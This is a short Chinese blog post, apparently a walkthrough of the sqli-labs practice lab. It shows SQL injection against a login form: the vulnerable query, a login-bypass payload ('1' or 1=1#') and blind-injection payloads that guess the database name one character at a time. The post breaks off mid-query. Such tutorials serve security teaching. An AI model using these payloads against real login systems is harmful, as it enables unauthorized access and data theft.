账号密码登录界面

最新推荐文章于 2024-08-15 15:54:59 发布

通天云计算

最新推荐文章于 2024-08-15 15:54:59 发布

阅读量4.3k

点赞数

分类专栏：网络安全

本文链接：https://blog.csdn.net/WYJ____/article/details/81179971

版权

这篇博客探讨了SQL注入攻击，通过示例展示了如何利用账号密码登录界面进行注入。作者提到了两种类型的SQL注入：盲注和报错注入，并给出具体的注入字符串示例，揭示了数据库安全的重要性。

摘要由CSDN通过智能技术生成

后台代码：
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

输入账号：Dumb 密码：Dumb2
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb2' LIMIT 0,1

绕过登录：
输入账号：aaa 密码：1' or 1=1#
SELECT username, password FROM users WHERE username='aaa' and password='1' or 1=1#' LIMIT 0,1

Sql注入1：盲注
输入账号：Dumb 密码：Dumb' and length(database())=8#
SELECT username, password FROM users WHERE username='Dumb' and password='Dumb' and length(database())=8#' LIMIT 0,1

security

输入账号：Dumb 密码：Dumb' and ascii(substr(database(),1,1))=115#
SELECT username, password FROM users WHERE username='Dumb' and password='Dum